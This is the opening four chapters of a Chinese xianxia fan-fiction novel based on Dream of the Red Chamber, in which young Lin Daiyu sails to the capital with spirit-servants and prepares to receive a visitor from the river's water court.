《红楼之黛玉修仙日常》
1. 第 1 章
夜。
寒风卷过河岸，摇动河滩中低伏的杂草，惊飞了几只野鸭，嘎嘎的叫声在空旷又寂静的河道两岸传出很远，凄厉又阴森。
月色如水，洒落在河面上的清辉被船只搅散，荡起粼粼波光。
“死鸟，吓老子一跳！”船上守夜的船工啐了一口，裹紧衣服，双手揣在袖子里，找了个避风的位置蹲着，困倦地打了个哈欠。
“反正前头有官船在，就算有河匪水盗，也有官老爷顶在前头......”船工想到船上其他人不是在喝酒赌钱，就是在睡大觉，心中颇为不忿，念叨两句，到底因为夜深天寒，不敢心安理得闭上眼睛偷懒。
万一得了风寒，出来一趟赚的钱都不够买药的。他还指望这次回去之后，能娶个婆娘。
蹲着腿麻，左右四周无人，船工又往柱子中间挤了挤，改蹲为坐，琢磨起行船的路线。
如今船队已经过了沧州，距离上个渡口停船上岸修整过后，又在河上行了两日。顶多再有三四天，应该就能抵达京城。
因着今次是跟着一位升迁回京的官老爷的船出行，所以主家减了一些跟船的护卫人手，空出来的地方多多塞满了货物，若是京城行情好的话，货物买出去能赚到的银两比以前更多。
主家心地好，说是因为这一趟船上少了人，大家要做的事比以前多，故而除了按以往定例之外，每人还会多给两吊钱。
船上吃喝都不需要自己出钱，没有额外花费，两吊钱，再加上原先的工钱......
船工掰着指头算了算，自己往年还有些积蓄，顺利的话，再攒一攒，不仅能娶婆娘，说不准还能买田。等过几年婆娘有了娃儿，他就专心守着地过日子，不出来跑船了。
幻想着美好的未来，船工早把水匪强盗之类的念头丢到脑后，只祈祷最后这几日定要稳稳当当，官老爷带着他们平安到京才好。
河中央，船工惦念着的官船平稳行驶，船上象征着出行人身份的旗帜迎着寒风飘扬。
其后跟着十余艘船只。
跟船工主家抱着相同念头的人不在少数。
有官船在前，沿河的关卡盘剥便会松一些，安全性也更有保障，故而有许多没有实力组织船队，但消息还算灵通的商人七拐八绕，花些银子搭上线，让自家的船只跟在官船后面，以期得到一份庇护。
官船从润州出发，途经扬州停靠了两天后，一路往京城来，期间船只来来去去，到最后，形成了这么一只包含商船、民船在内的有序队伍。
不过不管是挂着商号旗帜的商船，还是一些民间小船，都没有紧挨着官船，在它们之前，还有一艘船紧缀在官船之后。
船头未挂旗，船工不知道船上的是什么人，从扬州城出发到现在，那艘船就一直这么跟在官船后面，想来主人家应该也是很有身份的人。
他曾模模糊糊看到过船上的人，主人好似是一位小姑娘，或许是哪家的千金小姐也未可知。
就是不知道哪位老爷夫人这么心大，让自家闺女一个人带着仆从独自上京，哪怕有官老爷护着，总归隔着一层，不如自己家里人亲近不是？
转念一想，人家小姐仆从成群，吃穿不愁，也用不着他瞎操心。
此时夜已深，大小船只上除了值守的人还没有休息，都十分安静。江上弥漫起一层白雾，从后向前，慢慢攀上船只。
船工打着哈欠，眼角沁出泪花，只觉得眼皮子越来越沉，挣扎了片刻，最终抵不过困意，靠着柱子昏睡过去。
而船工眼中颇为神秘的无旗船只甲板上空无一人，二层的房间中却有一点微光透出，在明亮的月光中不那么显眼。
甲板与二层上下相连的舷梯上，一道圆润矮小的身影正一手托着茶盘，一手提着裙拾级而上。
那道身影似乎不太喜欢规规矩矩一步一个台阶，走了两步，右手将裙角一卷一扬，一次跨出两三级台阶，难为她个子不高，腿却长，几步就上了二楼。
她脚步十分轻盈，落在木质楼梯上，一点声响都没发出，双肩几乎不曾晃动，茶盘中托着的薄胎素玉碗中的牛乳更是一滴未洒，下盘极稳。
上到二楼，双脚落地，青雀放下裙摆，装模作样抚了抚，双肩一压，学着白日看到的样子，螓首低垂，莲步轻移，屈指不紧不慢扣响了门扉。不过她性子急了一些，最后一下稍稍大力，打乱了平缓的节奏。
门内似乎有说话声，听到叩门声，说话声音停了下来，有人扬声应道：“来了。”
青雀侧耳听了听，只听人应声，没听到脚步动静。
指甲在茶盘上刮了刮。她们这些跟着姑娘一起去京中的人，除了姑娘自己和林家多年的家仆外，走路几乎都踩不出声音，这是她们的习惯和本能，刚到林家时，每次冷不丁就会吓人一跳。
快一年了，他们没改过来，倒是林家上下习惯了神出鬼没的人，对此见怪不怪了。
平日里青雀不觉得这样不声不响有什么问题，反正被吓到的不是她，再者有人靠近，以她的耳力，最多五步之外就能察觉到有人，根本不会被人悄无声息摸到身边。但眼前是姑娘的房间，不好由着她肆意探查。
想到自己一会儿要说的事，青雀忍耐住抓挠茶盘的动作，她得规矩些，才好开口。
七想八想间，门被拉开，屋内被锁住的光倾泻而出，照亮了青雀的身影，也照出了来人的面容。
只见开门的人鹅蛋脸，面若霜雪，双颊透粉，眼尾微扬，端的是一张芙蓉面。她身穿月白缎袄，外罩一件藕色交领长背心，下身一条与背心同色的长裙，腰间系一条石绿色汗巾，眉间微蹙，上下扫了来人一圈，又看向玉碗中的牛乳，见牛乳未洒，她才舒展眉头。
侧身让了让，那人开口：“今儿怎么让你来送？白鹤呢？”
青雀缩了缩脖子，明明是正常的问话，她却有些本能畏惧眼前人的气势。
青雀扬起一个讨好的笑容，她有一张肉肉的圆脸，眼睛又大有圆，十分灵动，笑起来时两腮的肉鼓起，让人忍不住想戳一戳，是很讨人喜欢的长相，然而开门的人不为所动。
青雀也不在意，他们姑娘长得好看，这些姐姐们自己也好看，平日里见多了各色各样的美人面，哪能被她的圆脸蛋诱惑。
笑容没有发挥作用，青雀便道：“快到京城了，天也渐渐暖和了，白鹤姐姐在舱里带着人整理东西，该收的收起来，该拿的也拿出来备着，到时候箱笼好带下船，去了那府里，安置起来也容易一些。她忙着呢，腾不出手来，就让我来给姑娘送牛乳。”
青雀说着，将手里托着的茶盘往前送了送，表示她是有正事来的。
她有一把好嗓子，声音清脆，似珍珠落玉盘，分外动听，中气也足，在安静的夜色里，十分明显。
房里的人听到了，问：“芙蓉姐姐，外面是青雀吗？怎么不进来？”
这一声打断了芙蓉还想说的话，青雀一听，立刻脆声道：“姑娘，这就进来了。”
说罢，不等芙蓉反应，肩膀一缩，侧着身子就从芙蓉和敞开的门缝中挤进去了。
一阵冷风刮过，顺着敞开的房门直往屋里钻，芙蓉眉头跳了跳，到底没有呵斥她，抬手关上房门，掩住了寒风。
待她关好门转身看去时，青雀早已绕过遮挡视线的四折山水屏风，进了里间。
转过屏风，只见青雀端端正正站好，低眉顺眼将茶盘上一直托着的白玉碗放在榻上的小几上，收回茶盘，袖手矗立，老气横秋压低声音道：“姑娘，时候不早了，喝了牛乳，就快歇下吧。”
雕花架子床边，一个身穿赭色袄子，鬓发有些花白的人正在铺床。榻上，青雀口中的姑娘年岁不大，约莫只有六七岁的样子。她长得极好，只是脸色有些白，双颊也不见血色，瞧着身体不太好。
小姑娘——也就是林黛玉。
如船工所想，林黛玉确实是一位官家千金。她父亲姓林，表字如海，如今在扬州做官，母亲则是京中荣国公府贾家的千金。
这样人家的小姐为何独自上京？盖因她母亲去岁因病亡故，家中没有女性长辈，所谓丧妇长女不娶，父亲担心她无人教养，兼之外祖家一直来信催促，想接她上京。
后来因着一些原因，父亲留她在家一年，近日才忍痛为她打点行装，送她前往京城。
林家一直子嗣单薄，五服之内已无亲眷，林黛玉自然没有长辈护送。不过巧的是，林父的同年、昔日同僚兼好友在润州主政颇有功绩，如今官升副都御使，将要回京，林父便将女儿托付给好友。
黛玉原本应该是在前头官船上的，但林父给她行装中塞的东西太多，加上跟随的许多仆从，官船上装不下，只好另雇了一艘船。
黛玉背靠着一只豆绿色织金方枕，拥着一条素色羊绒毯，斜倚在引枕上。她膝上还放着一卷泛黄的古书，青雀敲门前，她正在看书。
听着青雀老声老气的话，她用帕子掩着唇咳了两声。
芙蓉上前，用手背碰了碰玉碗，滚烫的牛乳被送过来之前在寒风中吹了一会儿，温度正好。
青雀见状，殷勤小意凑上去要扶黛玉，可惜茶盘在手，不大方便，她索性将茶盘往腋下一夹，搭着黛玉的手将帮她坐直，道：“姑娘兑牛乳的银花蜜放在哪儿了，我替姑娘取了来。”
边说边极力挤出笑容，做出一副谄媚表情。这样的表情放在别人身上是要令人生厌的，但青雀长的好，做出这副怪样子更像是在做鬼脸。
先前青雀老气横秋说话时黛玉便已经想笑了，这会儿再见她的鬼脸，实在是忍不住，噗呲一声，歪在引枕上，抖着肩膀笑个不住：“好青雀，你从哪儿学的变脸功夫？你还是正常些说话吧，你这样又正经又做怪的，我看不习惯。”
“咳咳~”
许是笑得太厉害了，喉间泛起一阵痒意，黛玉笑了两声后抚着胸口又咳嗽了起来。
她自幼身体就不好，三天两头病着，直到一年前，有了奇遇仙缘，拜了一位师父。师父待她很好，给了她不少好东西调理身体，倒比以往强健不少。
只是好了
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大半年，眼看着无需再汤药混着饭吃，身体却又迅速败了下来，甚至比以往更弱一些。
北方春末比南方要更冷一些，早两天她没注意，吹了江风便受了点寒，再加上越往北方来空气越是干燥，勾起了咳喘之症，一直没大好，这时竟有些咳得止不住。
芙蓉横了青雀一眼，拂开她的手，单膝半跪在榻上，将咳嗽的黛玉半扶过来，让她倚着自己，掌心聚起一团灵力，抚着黛玉的后背渡进她的身体，给她顺气。
讨巧卖乖不成反倒又闯了祸，青雀被瞪了也不敢吱声，双肩一耷拉，泄了气，乖乖让开位置。
芙蓉顺气的法子很管用，没两下，黛玉就不咳了。
止住了咳嗽，黛玉按住芙蓉的手，道：“好姐姐，我好了，不要浪费你的力气了。”
芙蓉顺势收回手，见她鬓角有细汗，帮她收起书卷，将盖着在腿上的羊绒毯子卷起来挪到一边，道：“我去打点热水，等姑娘喝完牛乳之后好梳洗。”
黛玉笑着应好。
青雀一听，又凑了上去，小心问道：“姑娘要换什么衣服，我给你去找。”
铺完床，从靠窗的圆角雕花榉木矮柜里取了花蜜的何嬷嬷过来，奇道：“青雀儿，你从哪儿学来的这副谄媚做派？”
倒不是说这样子有什么问题，只是忒世故了一些，不像是小孩子的样子，倒像是有些年纪，却又不是主子心腹，逮着机会竭力表现的老妈妈的行事风格。
黛玉也好奇地看过来，她也想知道青雀是跟谁学的，她跟前好像没有这样的人。
青雀“啊”了一声，双手捧着脸蛋搓了搓：“很明显吗？”
黛玉人忍着也想帮她搓脸的冲动，憋着笑点了点头。
青雀鼓了鼓脸颊，道：“前面船上，许夫人，许小姐身边的丫鬟婆子都是这么伺候的，许夫人和许小姐都满意的很。”
一旦满意了就很好说话。
何嬷嬷回忆了一下打过几个照面的许家仆妇的样子，许夫人掌家有方，许小姐身边的丫鬟行止有度，就算年岁小一些的，还带着一些天真活泼之气，正式场合也能看个眉眼高低，不会出格。
小姐身边都如此，许夫人的贴身丫鬟自然更不必说，她不曾见过像刚才青雀刚才那样谄媚殷勤样子的人。
若说有，想来下面一些二三等的老仆，想在主子跟前露脸，所以行为举止不自觉带出两分卑躬屈膝，不知何时被青雀瞧见了，就叫她学了去。
何嬷嬷无奈摇头，青雀本来性格就跳脱活泼，叫她安静随分一些已经是为难了，再融合一些与年纪不符的谄媚，两种样子糅杂在一起，可不就让人发笑？
何嬷嬷拨开装着花蜜的青色细颈玉瓶，取下跟玉瓶同色的玉勺，从瓶中倒出两滴花蜜：“你这样做派，可是有事要求姑娘？”
青雀心思简单，好懂的很，定然是有事相求。
这话问到青雀心坎上了，她支吾着道：“白鹤姐姐说咱们快到京城了......”
黛玉看着何嬷嬷倒花蜜，随口道：“是快到了。”
银花蜜不似寻常蜂蜜那样是或浅或深的棕黄色，而是银中带金的颜色。
滴下来的两滴花蜜也不像一般蜂蜜那样拉着细丝挂在玉瓶口，却如滚珠一样，落在玉勺中滴溜溜打着转，每一滴蜜中都带着一丝金色，像是两颗银色的猫眼石，灯光下还闪着如星子一样的细碎光芒，十分夺目。
每次兑花蜜的时候，她总是忍不住会多看两眼，因此错过了青雀欲言又止的表情。
花蜜滚入牛乳中，遇水即溶，一丝沁人心脾，带着凉意的花香由牛乳催发，顷刻飘散开来，一直沁到黛玉心里，她因为咳喘而略有些发闷的胸口像是被水洗过一样，舒畅了不少。
何嬷嬷放下勺子，将牛乳端到黛玉面前。
黛玉接过碗，左手拿帕子垫着，小口小口喝着。
一碗牛乳不多，几口就饮尽了。放下碗，暖意从腹部涌上，流入四肢百骸，冰凉的手脚暖和起来，沉重的身体也轻盈了不少。
黛玉吐一口气，发了一身薄汗。
何嬷嬷细细观察着她的神情，见她没有不适，道：“看来往后可以按照今日的用量服用这蜜水了。”
说罢，她又叹了口气，道：“花蜜虽好，可惜不能多用，这点子效力，不过两三日，就全都漏光了，这么反复折腾，也不知道姑娘的身子何时能补好。”
黛玉的身体如今就跟漏斗似的，这里补，那里漏。他们手上不是没有更好的东西，甚至可以说要什么就有什么，可这些好东西又太好了，劲儿太大，所谓虚不受补，用不得。
这银花蜜都是一点点斟酌着用量往上加的，幸而它药力温和，也不会因为用多了就功效大减，能一直吃着。
何嬷嬷分外忧心，黛玉放下玉碗，擦了擦嘴角，反过来宽慰她：“嬷嬷不必担心，师父不是说了，等到了京中，去了外祖家就好了。”
她倾身拉着何嬷嬷的手，撒娇似地摇了摇，央道：“嬷嬷不如再跟我说说外祖家的事。”
2. 第 2 章
“荣国公府啊......”何嬷嬷陷入回忆。
青雀抱着她的茶盘子悄悄缩在脚踏上，准备听何嬷嬷讲古。
何嬷嬷很快从回忆中抽离出来，看青雀鬼鬼祟祟，缩头缩脑的样子有些好笑，随即她便正色道：“近些年贾家的事，我倒是不怎么清楚了。当年贾家随当朝太祖开国，因功受封，一门两国公，门庭煊赫无比。两府的夫人小姐们时有蒙宫内贵人召见，那时我见的多一些，如今......”
何嬷嬷摇了摇头，神情中说不出是叹息还是讥诮：“如今两府，算是家门败落了，许久不曾在宫中见到两家的女眷了。”
顿了一下，她似是想到了什么，道：“前些年，荣府二房的一位小姐，名叫元春的，好像是被选做女史，后来被指去了当今潜邸，到当今登基，也不知她有没有跟着回宫。”
那时上皇已经有些年未开选秀，宫内一潭死水之下暗藏汹涌波涛，前朝后宫都盯着大位，只是碍于上皇之前的雷霆手段，所有人都不敢当出头的椽子，行差踏错一步。
宫里安安静静的，没多少新鲜事可看，哪知上皇突发奇想，四年前又开了一次小选，这也是上皇还在位时办的最后一选秀。
她当时闲极无聊，跟着去看了一圈，看看又有多少女孩要葬送在这深宫之中。
结果这一看，就在选秀队伍中见到不少眼熟的人。
贾元春的眉眼颇像年轻时候的史小姐，史小姐父亲也是开国功臣，她后来嫁给了荣国公，勋贵联姻。
她特地去看了看贾元春的名录牌子，果然在上面看到了荣国公贾代善的名字。
见到熟人，虽然是她单方面的熟悉，让何嬷嬷很是感慨。她多跟了贾元春两日，见她行事作风也有些像史小姐，不过比史小姐更沉稳缄默一些。
也不奇怪，史小姐年轻时正是贾史两府兴盛的时候，皇家和四王之下，数这两家最有权势，史小姐当然更为明丽爽快。
黛玉不知何嬷嬷的感慨，听了嬷嬷的话，她有些默然。
母亲还在时，她总听母亲和她身边的嬷嬷说外祖家何等不凡，道是世家勋贵，不比寻常，没想到如今竟到了这等境地了。
黛玉自小被充作男孩教养，她也不需要参加选秀，况且她年岁也还小，父母自然不会跟她说宫中种种。但她聪颖敏锐，父亲为她延请西席，细心教导，故而她在家也读过不少书。以史为鉴，便能知道不少道理。
若是外祖家还有得力的人，无论如何，不会让她这位素未谋面的表姐去参加小选。要是家里败了，但风骨尚存，硬气一些，家里男人自己立起来，也不会让家里娇养的姑娘入宫博一个前程。
况且想博富贵，怎么会让表姐去当女官？以外祖家的门第，即便败落，说出去也还是挂着国公府的牌子，怎么也应该还有些脸面在的。
这般行事，可见外祖家的情形定然有些复杂。
黛玉揣摩着荣国公府的情况，何嬷嬷也不打扰她，只有青雀左看右看，满眼疑问，她没听懂。
“进宫不好吗？那可是皇宫，全天下最好的地方，皇帝是天下最大的官。听说世上最好、最珍贵的东西都在皇宫里，里面一定有很多好吃的，好玩的，那位元春姑娘进宫不是去享福的吗？”
青雀眼中露出羡慕的光。她从前听到过不少故事，好些修成人身的前辈们踏入红尘，都会被世间繁华迷了眼，一心只做个普通人。寻常地方都能让前辈们流连，更何况是皇宫这样的好地方。
“姑娘，你带上我吧，让我陪你去国公府好不好？”青雀眼睛亮闪闪地看着黛玉。
国公府虽然不是皇宫，但好歹都有个‘宫’字，肯定也很好。她对凡间的事不怎么了解，却知道天下最有地位的人是皇帝，皇帝之下是亲王，亲王之下是国公。国公是第三有地位的人，再差也差不到哪里去，她定然能在哪里发现让前辈们舍弃自身，一心为人的秘密。
她不想为人，能见见繁华就好。
“我说你今天怎么这么乖巧，原来是打的这个主意。”何嬷嬷笑道：“青雀，你以为皇宫是什么好地方不成？”
“再说了，真是好地方，那也是主子们的好地方，贾小姐进去，是伺候人的，那能是什么好事？”
青雀不解：“我也是伺候姑娘的，没有觉得哪里不好啊，我觉得可好了。”
有好东西吃，有好东西玩，见到了许多之前见不到的有趣事情，多好。唯一不好的地方大概是她不能随时随地变回原形，要规规矩矩走路，不能飞，不过她可以忍受这一点。
何嬷嬷一噎，道：“那不是一回事。”
他们这些人是仆从，也不是仆从。青雀年纪最小，又是童子模样，与其说她是伺候姑娘，其实更像是姑娘的玩伴，姑娘待她也好，哪里将她当仆人使唤了。
她是不知道为奴为婢，尤其是做皇家奴婢的苦处。
青雀眨眨眼，圆圆的眼睛里分明写满了‘有什么区别’几个大字。
何嬷嬷失笑：“区别大概是皇宫里的主子能随意处置奴仆，不管你是有错还是没错，只要主子有疑心，那你便是错的。主子想打你杀你，你还不能反抗，没有家人还好，要是有家人，少不得还要牵连家里....
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“嬷嬷？”见嬷嬷越说脸色越难看，黛玉有些担心地唤了她一声。
何嬷嬷回过神，收敛无意识泄露出的一丝阴气，“姑娘莫担心，我没事。”
她转移话题：“芙蓉去打水，怎么去了这么久还没回来？”
“我去瞧瞧。”青雀跳起来，放在膝上的茶盘哐当一声砸在地上。
何嬷嬷笑骂道：“你这样顾手不顾脚的，在宫里保准被拉出去打一顿板子，都是姑娘宽厚，纵得你这样。”
她一一数落着青雀闯的祸：“大前天非要带着姑娘抓鱼，那鱼活蹦乱跳，也不知怎么那么大力，甩了姑娘一身水，江风一吹，叫姑娘染了病。前天白鹤说你在厨房非要杀鱼，结果打了盐罐子，盐撒了满满一桶，差点没把那鱼儿齁死。昨儿不好好走路，撞了插花架子，砸到桌上，好险没把那越窑秘色瓷盏给砸了......”
青雀吐了吐舌头，选择性耳聋，抄起茶盘绕过何嬷嬷，小跑着去开门。
后头黛玉替青雀说话：“嬷嬷别骂她了，盐咱们还有，那瓷盏白鹤姐姐也收起来了，花架上的插瓶也换成民窑的了。而且青雀也只是在跟前这样，昨日她跟我去见许姨，一点岔子也没出。”
何嬷嬷叹气：“姑娘再这么护着她，她再这么砸东砸西下去，我看早晚有一天咱们得换粗陶碗吃饭。”
黛玉笑着道：“那也使得，都是吃饭的东西，只要不缺不漏便可以了。”
青雀闻言高声道：“嬷嬷，我知道哪里有矿，等我找个空去一趟山里，给姑娘带成箱的金银玉石来。那些在凡人中间最是值钱，肯定不会让姑娘受苦的。”
何嬷嬷没好气道：“你可消停些，咱们想要这些，还用得着你？”
“姑娘想要什么？”芙蓉推开门，不明所以地道。
黛玉下了榻，道：“没要什么，嬷嬷跟青雀说玩笑话呢！”
她还未出里间，便听到青雀惊奇道：“咦？江上什么时候起雾了？”
黛玉往外走。她刚出了一身细汗，何嬷嬷怕她再吹着风受凉，忙捡了搭在架子上的斗篷替她披上。
二人再往门口看去，便见芙蓉提着一个大铜壶站在门口，江面笼罩着茫茫白雾，雾气在芙蓉身后脚下铺开，屋内的暖光映着她的芙蓉面，衬得她似似茫茫夜色中踏雾而来的妖仙，慑人心魄。
下一秒，勾魂慑魄的妖仙冷着一张脸按着青雀的肩膀把她往房里推。青雀慑于她的气势，不敢在她跟前造次，委委屈屈缩回来。
见到黛玉，芙蓉冷冰冰的脸色缓和，道：“姑娘，船上有客人来了。”
3. 第 3 章
“客人？”
黛玉第一反应是许家人，随即一想就知道不可能。
“是哪位客人，怎么这样晚了上门拜访？”黛玉拢着斗篷问道。
芙蓉拎着铜壶反身关上门，沉沉浮浮飘荡的浓雾被关在门外。
“是从江里来的客人。”她道。
何嬷嬷皱起眉头：“可是恶客？”
江面上的大雾起得不寻常，青雀从外边来时还没见到雾气，短短时间内，这雾就将后头的船遮掩得不见踪迹，背后肯定是有不同寻常的力量在操纵，芙蓉的话更是证明了这点。
“不是恶客。”芙蓉摇了摇头，睨了青雀一眼。
青雀：“？”
“芙蓉姐姐看我做什么？”
她又没见着客人，什么都不知道。
芙蓉冷声道：“你还记得你大前天抓的那条鱼吗？客人过来，是拜见姑娘，顺便来要鱼的。”
青雀环视了一圈屋内的三个人，小心翼翼道：“......那条鱼有问题？”
“你抓它的时候没看出来有问题？”
青雀摇头，她就看那鱼又大又有劲，还一直跟着他们的船，一时来了兴致，才跑去抓鱼的。除了这条，她还抓了两条，都已经炖成汤下肚了，还挺鲜的。
咕咚，青雀咽了下口水。
“哼！”芙蓉轻哼一声，青雀一抖，垂下脑袋，不敢再想鱼汤了。芙蓉姐姐生起起来很可怕的。
芙蓉叹气，看着她的小圆脸。青雀做人没多久，做妖......算算开了灵智的时间也不过十几年，还是个孩子，也不好多要求她什么。
将热水注入盥洗架子上的铜盆中，又兑上冷水，试了试温度，芙蓉道：“姑娘先洗漱吧，白鹤她们在招待客人，过一会儿就要领着人上来拜会了。”
黛玉拽着斗篷一角，一边往里走，一边频频回头看青雀，一向活泼的人蔫头蔫脑跟在后面。
“芙蓉姐姐，真的没事吗？那鱼是什么来历？”
芙蓉知她忧心，也不再吓唬青雀，道：“不碍的，客人并未说什么。也不全是青雀的错，白鹤察觉到了那鱼身上有一丝浅浅的妖气，不也没有发现问题？”
正因为发现那鱼沾着妖气，不是寻常江鱼，白鹤才拦住，没让它惨遭青雀毒手。幸好如此，否则她们还真给不出东西。
“鱼也没什么大来头，乃是江里遣出的巡江卫，只会说人话，连人形都化不了。”
胆子也小，比之青雀还略有不如，被青雀哐哐两刀剁鱼头的劲儿吓得话都不敢说了，所以青雀才没发现它的异常，也让他们错过了发现真相的机会。
虽说哪怕那鱼有大来历，恶客打上门来，她们也不惧。但外头前后十几艘船上还有人，更有朝廷命官，两方动手时兼顾不到，害无辜之人枉送了性命就不好了。
她们是陪姑娘修行的，不是成日里打打杀杀，给她招惹恶果的。
黛玉听了点头不言，放松了些。
虽有了芙蓉的宽慰，青雀也没活泛起来，她此刻心里满是愧疚。
砸了东西她不觉得有什么大错，都是死物，在凡人眼中值钱，可在她看来，不过是些石头泥土堆砌起来的东西，还不如一叠栗子糕、卷云酥重要。
但那条鱼却给姑娘带来了危险。
无事发生是因为“客人”讲道理，“客人”要是不想讲理，今晚这船，就要翻了。
“姑娘，对不起，都是我不好。”青雀怏怏道歉，“不过我一定会保护姑娘的。”
她拍着胸脯，大声道：“一人做事一人当，一会儿只管让客人冲我来！”
她这么大义凛然，仿佛要英勇就义的样子让本来已经放心的黛玉不由又紧张起来。
芙蓉替她挽起头发，帮她梳洗，轻声细语道：“姑娘不必如此，人是来拜会姑娘的，不是兴师问罪。”
只是江中水族而已，哪里能来质问姑娘。
黛玉摇头：“到底是我们有错在先，要给些补偿才是。那鱼既然成精了，芙蓉姐姐，你说该给些什么东西才好？”
她拜师不久，又因特别原因还不能修行，对妖鬼之流修炼心得了解有限，一时想不出来能给什么。
芙蓉瞥了眼青雀，沉吟片刻道：“姑娘有心，也不用给多的，太好的东西对它而言是祸非福。不如这样，从青雀下个月的修炼份例里扣一份出来给它，既能补偿，足够它凭此修出人身，又不会太超过，惹人眼红，也是对青雀的莽撞略作惩罚。”
“青雀，你可服气？”
青雀听完，认真点头道：“我服气的。”
何嬷嬷笑着推了推青雀，轻斥道：“既然知道自己爱闯祸，有了这次教训，以后也收收性子，不可再像从前那般了。”
“我知道了。”
“好了，去给姑娘拿要换的衣服吧，箱子里最上面那件就是。”
青雀应了一声，去开箱笼。
一番梳洗完毕，芙蓉为黛玉烘干半湿的头发，见完客人后便要歇息了，她便没有再给黛玉梳头，只将她半长的头发拢在脑后，扎成马尾的样式，用玉冠束好，簪上一只碧玉祥云簪，再束上一条石青色菱纹样式、下坠数颗指甲盖大的滚圆珍珠的束带。
既简约，又不失身份。
束带坠下，珍珠落进头发里，行走间互相撞击，还有些俏皮。
打理好头发后，芙蓉道：“姑娘的龙纹玉佩在哪儿？”
黛玉歪了歪头，闭目点了点眉心，再睁眼时，手中凭空多了一个似木非木的盒子。
盒子整体为玄色，上头并无任何纹样图案，十分古拙，看起来就像一块死木疙瘩。但细看之下，盒子上似乎又有青色的纹路在流动，生机盎然。
这看起来不起眼的木头既是死的，也是活的，来头还不小。据说是从天地间第一株杏树上长的第一颗果子，种下后再长成的杏树树心中掏出了这个木盒。
木盒作为死物时，只能用来放东西，好的是再厉害的东西，它都能锁住气息不外漏——当然一些先天灵物宝贝除外。
作为活物，是指着木头只要有合适的条件，再种下去便能再生根发芽，长成一颗杏树。
木头盒子只有黛玉两个巴掌大，一掌高，很是小巧。
揭开盒子，里面比外面大不少。盒子中一共躺着十四块玉佩。其中一组十二枚居左，都是各式各样的龙纹玉佩，呈圆环状首尾相连占据一角。有几枚玉佩的样式跟皇家御用，天子象征类似，这要是放到外边，被当官的见到了，立刻就有一定僭越不臣，有谋反之心的罪名扣下来，九族都要跟着人头落地。
中间单独一枚，同样是龙纹玉佩，却与另外十二枚不大相同。它的线条十分简约，寥寥几条蜿蜒的曲线就构成了龙纹，像是不懂雕刻的人随手划了几下凿刻而成。但它蕴含的气势却超过另外十二枚玉佩，古朴苍凉，又带着一股亘古洪荒时的血腥与煞气。
芙蓉只稍稍看了一眼，就挪开目光，以免被煞气灼伤。何嬷嬷被那气势一激，不由退开几步，面向匣子背面才喘了口气。
青雀修为最低，受了惊，不由扑棱棱一扇翅膀，蹲在了盥洗架子上。
黛玉忙将匣子合上。
芙蓉道：“姑娘且将那枚螭龙纹玉佩取出来。”<
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p>黛玉依言照做，一开一合间动作极快，生怕再刺激到三人。
螭龙纹玉佩上的龙气内敛，芙蓉倒不惧怕，接过玉佩穿在宫绦上，弯腰替黛玉系在腰间，压住裙角。
黛玉低头拨弄了一下玉佩，道：“来的客人是龙种？”
芙蓉理好宫绦的穗子，回答黛玉的问题：“不是，来的是江主手下的人。”
黛玉似懂非懂地点头。
十三枚龙形玉佩是师姐给她的，相当于身份令牌，持令入江河湖海，所有水族都会奉她为座上宾。
她不是骄矜性子，不会仗势去耍威风。懵懵懂懂中，她问过师姐为什么要这么多令牌。
她记得当时师姐斜躺在珍珠宝石点缀的血红珊瑚石宝座上，被珊瑚繁多的枝丫硌得不舒服，翻了个身懒洋洋道：“为什么？唔，因为龙性本淫，跟天上的、地下的、水里的，但凡看得上眼的，都能睡到一起去。春风一度，生下许多龙子龙孙，血脉稀释得越来越远。”
单手一捞，将黛玉捞到宝座上，师姐指着一块五爪金龙佩，长叹一口气，道：“这枚龙令，放到你那一界，水族都不认识，怎么遵令？只好繁琐些，都给你配齐了。哪日见了水族，有不认这块的，你就换一块。要是十二枚令都出了还不认，你就拿最后一块抽他。”
那时黛玉刚刚接触到另一个奇幻瑰丽的世界，闺阁女子所受的教育还在她身上留着深深的印记。男女之事向来是闺阁之中讳莫如深的话题，她从来没听人这么大喇喇地摊开说这些，听到前头的话已经羞得面红耳赤，后面的也没仔细听。
拿到玉佩后，她一看到它们，便会想起师姐的话，索性她一时也用不上它们，便一直放着，从未取出来过，今天是第一次。
螭龙是无角之龙，代表的是龙种血脉不远不近，实力应该尚可，属于居中一类。
芙蓉见她把玩玉佩，心道，姑娘还是凡人之身，未免有人见她羸弱，心生怠慢，还是一早亮出象征身份的东西为好。
黛玉不知芙蓉所想，好奇道：“客人是哪一类水族，蚌、鲤、还是河豚？”
芙蓉笑道：“都不是。姑娘读过西游记，可知道龟丞相。”
黛玉一愣，慢慢睁大眼睛，小声惊呼道：“真的？”
芙蓉点头。
“那西游记也是真的吗？”
何嬷嬷定了神，闻言也感兴趣地看向芙蓉。
西游记这么精彩的话本子，又老少咸宜，流传甚广，相当受欢迎。从民间到宫廷，都十分流行。谁没听过一回说西游的书，看过孙猴子大闹天宫的戏？
芙蓉一愣，略略思索，大概明白了黛玉跳跃的逻辑——有龙宫，又有龟丞相，既然这些都是真的，那会不会西游记也是真的？
她失笑道：“那都是凡人编的话本子......”
“啊——”黛玉跟何嬷嬷露出同款失望的表情，不过何嬷嬷矜持一些，情绪管理能力极强，只一瞬就整理好了表情，没让在场的人发现。
“不过——”芙蓉拖长了音调，吊足了黛玉的胃口才道：“话本子虽有假，但齐天大圣却是真的。”
黛玉眼神瞬间闪亮，“好姐姐，你见过大圣吗？他的金箍棒是不是真的藏在耳朵里吗？最后紧箍取下来了吗？成佛后他去了哪儿？自由了吗？”
“咚咚咚——”
轻缓的扣门声响起，打断了黛玉滔滔不绝的问题。
芙蓉忙止了话头，道：“姑娘，人来了。”
瞧姑娘这兴奋劲，再这么缠问下去，天都要亮了。
“姑娘，客人已经等在厅中了。”门外的人柔声道。
4. 第 4 章
山水屏风往前一臂远的地方，有一张鸡翅木高束腰三弯腿香几，几上原先摆着竹雕松鹤图香筒，因总是磕磕碰碰，摔了几次后，香筒便挪开，几上不再放东西。
芙蓉在香几后摸索了两下，咔哒一声，推开隔扇，里头赫然是另一个房间。
这个房间是会客厅，设计得颇有巧思，与卧房用隔扇隔开，可以从这一面锁住。无人时可以将隔扇打开，里外相通，方便主人起居坐卧，有外人来时，主人家也能在此会客。
平日里不用，就锁住，不让人从外窥探卧房。
黛玉仰头招了招手，青雀从盥洗架子上跳下来，抖了抖双翅，又恢复成童子模样跟在她身后。
隔扇后还有一扇木插屏，穿过插屏，黛玉在上首落座，脊背挺直。青雀与何嬷嬷分别立在她左右，一切就绪后，芙蓉过去开门。
